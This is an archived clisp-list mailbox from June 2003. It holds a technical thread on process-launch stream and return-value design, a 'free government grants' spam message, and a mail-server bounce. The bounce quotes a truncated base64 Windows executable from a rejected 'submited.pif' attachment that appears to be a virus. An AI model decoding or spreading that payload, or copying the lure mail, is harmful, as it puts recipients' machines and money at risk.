201-253-122-126-133-20030313) with ESMTP id <20030606022856.ETJQ16647.out006.verizon.net@loiso.podval.org>; Thu, 5 Jun 2003 21:28:56 -0500 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.8/8.12.8) with ESMTP id h562Sq1g031276; Thu, 5 Jun 2003 22:28:52 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.8/8.12.7/Submit) id h562Sqvx031272; Thu, 5 Jun 2003 22:28:52 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: Re[2]: [clisp-list] Re: Re[4]: Separate Unix error stream keyword for ext:run-shell-command References: <434162114.20030605093108@ich.dvo.ru> <1939103870.20030605105329@ich.dvo.ru> <581360556.20030606103731@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <581360556.20030606103731@ich.dvo.ru> Message-ID: Lines: 37 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out006.verizon.net from [141.149.176.45] at Thu, 5 Jun 2003 21:28:52 -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Jun 5 19:30:05 2003 X-Original-Date: 05 Jun 2003 22:28:51 -0400 > * In message <581360556.20030606103731@ich.dvo.ru> > * On the subject of "Re[2]: [clisp-list] Re: Re[4]: Separate Unix error stream keyword for ext:run-shell-command" > * Sent on Fri, 6 Jun 2003 10:37:31 +1000 > * Honorable Arseny Slobodjuck writes: > > No! It's just the value return method. LAUNCH initializes (second half > of initialization) pipe-stream, then the user works with it. > > (setf stream (make-pipe-input-stream)) > (launch ... :output stream) ;initializes stream > (read stream) what if the user tries to read from stream before launch inits it?! (launch ... :output (:stream :element-type ...)) is so much cleaner! > What I want (user) to avoid - to parse output value lists depending on > parameters supplied. I.e. if :input was :create then we get 2 values. > First value is pid if only :wait was nil. If :wait wasn't nil... this is inevitable. if :WAIT was T, then the values are the same as those of EXT:WAIT (specified in ) if :WAIT was NIL, the values are PID, INPUT stream (or NIL), OUTPUT (or NIL) and ERROR (or NIL) > BTW, how pipes will work with :wait t. they won't. -- Sam Steingold (http://www.podval.org/~sds) running RedHat9 GNU/Linux Linux - find out what you've been missing while you've been rebooting Windows. From vaquerogalactico6762skyscreen33@yahoo.com Fri Jun 06 06:38:10 2003 Received: from [61.248.146.14] (helo=61.248.146.14) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19OHQ1-000464-00 for ; Fri, 06 Jun 2003 06:38:10 -0700 Message-ID: <20030613863.2476.qmail@mail.yahoo.com> From: "vinvee_24" To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Money For Your Needs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 6 06:39:08 2003 X-Original-Date: Fri, 6 Jun 2003 06:36:33 -0700 Dear Friend, We are excited to present to you the Hot Opportunity of The Week. The information could change your life...please check it out... You will not be disappointed! Thousands of people receive Free Government Grants and Money every day. So can you! Discover how to get your Free Government Grants and Money, click on the link below: http://www.freemoneyweb.net The Free Money News Network Team From ampy@ich.dvo.ru Fri Jun 06 07:23:46 2003 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19OI7F-0006vD-00 for ; Fri, 06 Jun 2003 07:22:49 -0700 Received: from ppp9-AS-1.vtc.ru (ppp9-AS-1.vtc.ru [212.16.216.9]) by vtc.ru (8.12.9/8.12.9) with ESMTP id h56EMEjG006613 for ; Sat, 7 Jun 2003 01:22:20 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <11827647525.20030607012823@ich.dvo.ru> To: clisp-list@lists.sourceforge.net Subject: Re[4]: [clisp-list] Re: Re[4]: Separate Unix error stream keyword for ext:run-shell-command In-reply-To: References: <434162114.20030605093108@ich.dvo.ru> <1939103870.20030605105329@ich.dvo.ru> <581360556.20030606103731@ich.dvo.ru> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 6 07:24:17 2003 X-Original-Date: Sat, 7 Jun 2003 01:28:23 +1000 Hello Sam, Friday, June 06, 2003, 12:28:51 PM, you wrote: >> No! It's just the value return method. LAUNCH initializes (second half >> of initialization) pipe-stream, then the user works with it. >> >> (setf stream (make-pipe-input-stream)) >> (launch ... :output stream) ;initializes stream >> (read stream) > what if the user tries to read from stream before launch inits it?! As usual - error. It's easy to detect this situation. > (launch ... :output (:stream :element-type ...)) > is so much cleaner! So we need one stream init parser in launch, other in make-pipe-*-stream - code duplication. >> What I want (user) to avoid - to parse output value lists depending on >> parameters supplied. I.e. if :input was :create then we get 2 values. >> First value is pid if only :wait was nil. If :wait wasn't nil... > this is inevitable. Why ? I do suggest the method. > if :WAIT was T, then the values are the same as those of EXT:WAIT > (specified in ) > if :WAIT was NIL, the values are PID, INPUT stream (or NIL), OUTPUT (or > NIL) and ERROR (or NIL) I'm sure other users heat this as much as I. How many other lisp functions change their return value count depending on input parameters ? -- Best regards, Arseny From MAILER-DAEMON Fri Jun 06 08:19:12 2003 Received: from panoramix.vasoftware.com ([198.186.202.147] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19OIzn-0005OV-00 for ; Fri, 06 Jun 2003 08:19:12 -0700 Received: from mail by panoramix.vasoftware.com with local (Exim 4.05-VA-mm1 #1 (Debian)) id 19OIzn-0006MA-00 for ; Fri, 06 Jun 2003 08:19:11 -0700 X-Failed-Recipients: clisp-list@lists.sourceforge.net From: Mail Delivery System To: clisp-list@sourceforge.net Message-Id: Subject: [clisp-list] Mail delivery failed: returning message to sender Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jun 6 08:20:02 2003 X-Original-Date: Fri, 06 Jun 2003 08:19:11 -0700 This message was created automatically by mail delivery software (Exim). A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: clisp-list@lists.sourceforge.net This message has been rejected because it has a potentially executable attachment "submited.pif". This form of attachment is often sent out by viruses and other malicious software without your consent. In order to protect our users we scan for and reject these files. If you meant to send this file then please package it up as a zip file and resend it. ------ This is a copy of the message, including all the headers. ------ ------ The body of the message is 78485 characters long; only the first ------ 10240 or so are included here. Return-path: Received: from ast-lambert-105-1-5-171.w81-49.abo.wanadoo.fr ([81.49.70.171]:3126 helo=YES-I) by panoramix.vasoftware.com with esmtp (Exim 4.05-VA-mm1 #1 (Debian)) id 19OIzh-0004pR-00 for ; Fri, 06 Jun 2003 08:19:05 -0700 From: To: Date: Fri, 6 Jun 2003 17:19:13 +0200 Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Message-Id: Subject: Re: Movie Content-Type: multipart/mixed; boundary="CSmtpMsgPart123X456_000_0004E8A6" X-Spam-Status: No, hits=0.6 required=7.0 tests=NO_REAL_NAME version=2.21 X-Spam-Level: This is a multipart message in MIME format --CSmtpMsgPart123X456_000_0004E8A6 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file. --CSmtpMsgPart123X456_000_0004E8A6 Content-Type: application/octet-stream; name="submited.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="submited.pif TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAABSj0hvFu4mPBbuJjwW7iY8lfIoPAzuJjz+8Sw8bO4mPEDxNTwb7iY8Fu4m PBXuJjwW7ic8hu4mPHTxNTwb7iY8/vEtPA3uJjxSaWNoFu4mPAAAAAAAAAAAUEUAAEwBAwBEk9c+ AAAAAAAAAADgAA8BCwEGAADgAAAAEAAAABABANDyAQAAIAEAAAACAAAAQAAAEAAAAAIAAAQAAAAA AAAABAAAAAAAAAAAEAIAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA AAAAAAIA0AEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAABDREQwAAAAAAAQAQAAEAAAAAAAAAAEAAAAAAAAAAAAAAAAAACAAADgQ0REMQAAAAAA 4AAAACABAADWAAAABAAAAAAAAAAAAAAAAAAAQAAA4ENERDIAAAAAABAAAAAAAgAAAgAAANoAAAAA AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 